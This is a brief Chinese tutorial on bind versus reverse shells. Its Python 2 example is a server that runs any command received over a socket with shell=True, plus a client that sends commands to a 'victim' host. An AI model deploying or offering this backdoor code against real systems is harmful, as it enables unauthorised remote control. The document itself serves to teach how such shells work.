正向反向区别
正向即我们通过一系列手段在受害机开放了一个端口,这个端口等待我们连接,受害机不会主动告诉我们让我们去连接,导致我们必须要知道受害机的IP地址,实际操作会很困难。所以现在都是用反向,与正向最大区别是,受害机会通知我们,将shell返回。
示例
Python中通过连接并执行命令主要用到了socket和subprocess两个模块,以下是一个简单的示例。
Client.py
- # -*- coding: utf-8 -*-
- import socket
- while 1:
- str_msg = raw_input("Please input command:")
-
- if str_msg == "exit":
- break
- else:
- s2 = socket.socket()
- s2.connect(("192.168.150.144", 6666))
- data = s2.recv(1024)
- s2.send(str_msg)
- print str(s2.recv(1024))
- s2.close()
Server.py
- import subprocess
- import socket
-
- def run_command(command):
- command = command.rstrip()
- print command
- try:
- child = subprocess.check_output(command, shell=True)
- return child
- except:
- child = 'Can not execute the command.\r\n'
- return child
-
- s1 = socket.socket()
- s1.bind(("192.168.150.144", 6666))
- s1.listen(5)
-
- while 1:
- conn,address = s1.accept()
- print "a new connect from " + str(address)
- conn.send("Hello world")
- data = conn.recv(1024)
- print "The command is " + data
- output = run_command(data)
- conn.send(output)
-
- conn.close()
示例演示结果
总结
上面简单示例只接收客户端命令进行了执行,其他功能可根据需求自行添加, 也可以使用tk等集成到gui中进行学习。